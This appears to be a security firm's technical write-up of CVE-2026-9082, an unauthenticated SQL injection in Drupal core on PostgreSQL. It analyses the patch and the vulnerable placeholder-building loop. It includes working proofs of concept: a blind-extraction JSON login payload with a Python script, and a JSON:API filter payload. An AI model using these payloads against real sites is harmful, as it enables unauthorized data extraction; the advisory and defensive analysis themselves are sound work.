Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082)

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Inside SA-Core2026-004

On the 20th of May, the Drupal Security Team released SA-CORE-2026-004 (CVE-2026-9082), a Highly critical (20/25) SQL injection in Drupal core. The issue is reachable by fully anonymous users on any deployment that backs Drupal with PostgreSQL. It was reported upstream by Michael

Maturi and a fix shipped across every supported branch (11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, 10.4.10), with best-effort patches for the end-of-life Drupal 8.9 and 9 lines.

This post is a same-day technical breakdown. We walk through the patch, explain why an unauthenticated JSON object survives into the SQL placeholder name on the case-insensitive `IN` path, and include two working proofs of concept. The login JSON variant was shared with us by Ani mesh Acharya at Tanto Security, along with the JSON:API variant that we cover later in the post.

We recommend upgrading to one of the patched releases (10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10) as soon as possible. The SQL injection only affects PostgreSQL deployments, but the same Drupal release bundles upstream Symfony and Twig security updates that apply on every backend.

Entity queries and the Postgres override

Drupal ships the Entity Query API on top of the Database API. A call like `Drupal::entityQuery('user')->condition('name', $name)->execute()` is the common idiom for looking up a user by name. The entity query layer compiles conditions to SQL via `Condition::compile()` and `ConditionAggregate::compile()` in `core/lib/Drupal/Core/Entity/Query/Sql/`, and dispatches the SQL emission to a `translateCondition` method using late static binding so backend-specific subclasses can hook in.

PostgreSQL has one such subclass in `core/modules/pgsql/src/EntityQuery/Condition.php`. It exists because PostgreSQL is case-sensitive by default. To make case-insensitive comparisons behave the same way they do on MySQL, the override wraps both sides of the comparison in `LOWER(...)`. For an `IN (...)` list this means emitting one `LOWER(:placeholder)` per value, which is the loop that the patch fixes. MySQL and SQLite never enter this loop. Their `IN` compilation goes through Drupal's standard `Connection::expandArguments()` path, which generates sequential placeholder names from an internal counter and never reads user-supplied keys.

Tracking the patch

The fixing commit is eccc454. It touches three files and adds seven lines:

`core/lib/Drupal/Core/Entity/Query/Sql/Condition.php`
`core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php`
`core/modules/pgsql/src/EntityQuery/Condition.php`

Both `core/lib` hunks add the same call inside the database-agnostic compile path:

```
// core/lib/Drupal/Core/Entity/Query/Sql/Condition.php $condition['real_field'] = $field; if (is_array($condition['value'])) { $condition['value'] = array_values($condition['value']); } static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));// core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php $field = $tables->addField($condition['field'], $type, $condition['langcode']); if (is_array($condition['value'])) { $condition['value'] = array_values($condition['value']); } $condition_class = QueryBase::getClass($this->namespaces, 'Condition'); $condition_class::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));
```

The third hunk applies the same transform inside the PostgreSQL override:

`// core/modules/pgsql/src/EntityQuery/Condition.php

- foreach ($condition['value'] as $key => $value) {
- foreach (array_values($condition['value']) as $key => $value) {

`

Three places, same fix: reset the keys of `$condition['value']` to a sequential integer range before the override iterates. The two `core/lib` hunks sit before the `static::translateCondition` dispatch, so they catch every backend. The hunk in the override is defence in depth in case a future caller invokes `translateCondition` directly.

The vulnerable loop

The pre-patch handler for the case-insensitive `IN` operator in the PostgreSQL override:

`$where_prefix = str_replace('.', '_', $condition['real_field']); foreach ($condition['value'] as $key => $value) { $where_id = $where_prefix . $key; $condition['where'] .= 'LOWER(:' . $where_id . '),'; $condition['where_args'][':' . $where_id] = $value; }`

On each iteration:

- **`$where_id`** is built by concatenating a prefix derived from the field name (for example **`users_field_data_name`**) with **`$key`** from **`$condition['value']`**.
- **`$where_id`** is written directly into **`$condition['where']`** as raw SQL text, wrapped in **`LOWER(:`** and **. That string is spliced into the final query before PDO binds anything.

The loop assumes `$condition['value']` is numerically indexed, so `$key` is always an integer like `0`, `1`, `2`. If the caller hands the entity query an associative array, `$key` can be any string, and that string ends up inside the SQL.

Two paths to the sink

There are two anonymous entry points that we have confirmed reach this loop with attacker-controlled array keys: the JSON login endpoint and the JSON:API filter syntax. Both flip on Drupal's default JSON content negotiation and both end up at the same `pgsql` override.

The shape of the pre-prepared SQL for the login lookup (the `users_field_data` query) looks like this, with `USER_INPUT` standing in for whatever the attacker put in the second array key:

`SELECT "base_table"."uid" AS "uid", "base_table"."uid" AS "base_table_uid" FROM "users" "base_table" INNER JOIN "users_field_data" "users_field_data" ON "users_field_data"."uid" = "base_table"."uid" WHERE ((LOWER("users_field_data"."name") IN (LOWER(:users_field_data_name0),LOWER(:users_field_data_nameUSER_INPUT)))) AND ("users_field_data"."status" IN (:db_condition_placeholder_0)) AND ("users_field_data"."default_langcode" IN (:db_condition_placeholder_1))`

`:users_field_data_name0` comes from the first iteration where `$key` is the integer `0`. `:users_field_data_nameUSER_INPUT` is the second iteration where `$key` is the attacker-controlled key. Anything PostgreSQL would parse as SQL inside that name (parentheses, operators, function calls) becomes part of the statement before PDO runs.

Variant 1: Boolean blind via JSON login

The JSON login endpoint at `/user/login?_format=json` is part of the core `user` module and is enabled by default on any install that has the REST or JSON:API routes enabled, which is the standard configuration on Drupal 9 and 10. The handler validates the submitted `name` by running an entity query against `users_field_data`. No session, no CSRF token, and no prior auth state is required.

Drupal parses the JSON body using Symfony's `JsonEncoder`, which decodes objects into associative PHP arrays. If `name` is sent as a JSON object, the controller receives an associative array and passes it straight to the entity query.

The payload submits `name` as a two-key JSON object. The first key (`"0"`) lines up with the legitimate first placeholder. The second key carries the injection. The trick that makes this practical on the login endpoint is that a PostgreSQL placeholder name only consumes identifier characters; the parser terminates the name at the first non-identifier character. The `||` operator (PostgreSQL string concatenation) ends the placeholder and lets us splice a divide-by-zero gadget into the surrounding `LOWER(...)`:

`POST /user/login?_format=json HTTP/1.1 Host: local:8000 Content-Type: application/json Content-Length: 149

{"name":{"0":"drupal","0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)":"drupal"},"pass":"drupal"} `

What the vulnerable loop produces:

`iteration 1: key = "0" where_id = "users_field_data_name0" where += "LOWER(:users_field_data_name0),"

iteration 2: key = "0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)" where_id = "users_field_data_name" + <above> where += "LOWER(:" + <above> + "),"` `

After the trailing comma is trimmed and the closing `)` is appended, the second `LOWER(...)` in the `IN` clause becomes:

`LOWER(:users_field_data_name0 || 1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END))`

The placeholder name terminates at the `|`, so `:users_field_data_name0` resolves to its bound value (`"drupal"` in this payload). `||` concatenates that value with the result of the divide-by-zero subexpression. The inner `CASE` has no `ELSE`, so it returns `0` when the predicate matches and `NULL` when it does not. `1/0` raises a runtime error and PostgreSQL aborts the statement. `1/NULL` evaluates to `NULL`, the concatenation produces `NULL`, and the query runs to completion.

That gives a clean status-code split per request

- Predicate true: HTTP 500 with a PDO **`SQLSTATE`** error.
- Predicate false: HTTP 400 with the standard “Sorry, unrecognized username or password” response.

`import json import requests

TARGET = "http://localhost:13080"

Swap the predicate to walk any data the database user can read.

INJECTION_KEY = ("0||1/(SELECT CASE WHEN " "(SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' " "THEN 0 END)")

body = { "name": { "0": "drupal", INJECTION_KEY: "drupal", }, "pass": "drupal", }

r = requests.post(f"{TARGET}/user/login?_format=json", data=json.dumps(body), headers= {"Content-Type": "application/json"}, timeout=10,)

print(f"status={r.status_code}") print(r.text[:200]) `

Vulnerable install, predicate true (uid 1's name starts with `drupal`):

`status=500 {"message":"... SQLSTATE[22012] ... division by zero ..."}`

Vulnerable install, predicate false:

`status=400 {"message":"Sorry, unrecognized username or password..."}`

Patched install (regardless of predicate):

`status=400 {"message":"Sorry, unrecognized username or password..."}`

One HTTP request per bit, which makes blind extraction of arbitrary data the database user can read practical at scanning speeds.

Variant 2: Error-based via JSON:API

The second variant reaches the same sink through the JSON:API module. JSON:API is not enabled by default, but it is a common addition on Drupal sites that expose content over an API. When it is enabled, anonymous read access to public nodes is the default configuration, and filter expressions on the index routes flow through the entity query layer.

JSON:API parses filter parameters from the query string using Symfony's `HttpFoundation` parameter bag, which converts bracketed nested keys into nested PHP arrays automatically. A request like `filter[t][condition][value][KEY]=x` produces the PHP array `['filter' => ['t' => ['condition' => ['value' => ['KEY' => 'x']]]]]` . Drupal hands the `value` array straight to the entity query, and the loop in `pgsql/src/EntityQuery/Condition.php` interpolates the `KEY` into the placeholder name.

A single backtick, single quote, or double quote in the key is enough to break the placeholder syntax and produce a PDO error:

`GET /jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][ ]=x HTTP/1.1 Host: <target> `

On a vulnerable install, the response is HTTP 500 with `SQLSTATE[HY093]` (PDO's "Invalid parameter number" code) in the body. `HY093` is what PDO emits when the prepared statement references a placeholder name that does not match anything in the bound argument list, which is exactly the case after the injected character mangles the placeholder name in the SQL text. The same detection signal fires for `[']=x` and `["]=x`, and the same payload works against any node bundle the site exposes with anonymous read access (`/jsonapi/node/page` , etc.).

On a patched install, `array_values()` resets the key, the placeholder name stays well-formed, and the request returns HTTP 200 with the standard JSON:API response body (empty `data` if no nodes match the filter).

Vulnerable:

`HTTP/1.1 500 Internal Server Error Content-Type: application/vnd.api+json

{"errors":[{"title":"Internal Server Error","status":"500","detail":"... SQLSTATE[HY093] ..."}]} `

Patched:

`HTTP/1.1 200 OK Content-Type: application/vnd.api+json

{"jsonapi":{...},"data":[],"links":{...}} `

This variant requires no `POST` body and no authentication beyond JSON:API being enabled and a node bundle being indexable, which makes it the cleaner primitive for fingerprinting in scanning workflows. Variant 1 is the cleaner primitive for time-based blind extraction once a vulnerable instance is confirmed.

Reflections

The fix is three `array_values()` calls. The bug is that a JSON object key on `/user/login?_format=json`, or a bracketed query string key on `/jsonapi/node/{bundle}`, flows unchanged into a placeholder name that ends up inside the SQL text on the PostgreSQL case-insensitive `IN` path. The combination of an attacker-supplied array key, a SQL emitter that interpolates that key into raw SQL, and a backend override that exists only on PostgreSQL is what made this a PostgreSQL-only issue rather than a Drupal-wide one.

For a defender, the practical signals are short: variant 2 is a one-shot GET that returns a recognisable `SQLSTATE[HY093]` on a vulnerable host, variant 1 is a `POST` that returns an HTTP 500 with a `SQLSTATE[22012]` (division by zero) when the boolean predicate is true. Both are gated on PostgreSQL being the database backend, so MySQL and SQLite installs are not exploitable through these paths. The upgrade is still worth picking up on those installs for the bundled Symfony and Twig advisories that the same Drupal release carries.

Searchlight Cyber customers will see coverage for CVE-2026-9082 rolled out across their attack surfaces.

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[image: Kevin Gervot]

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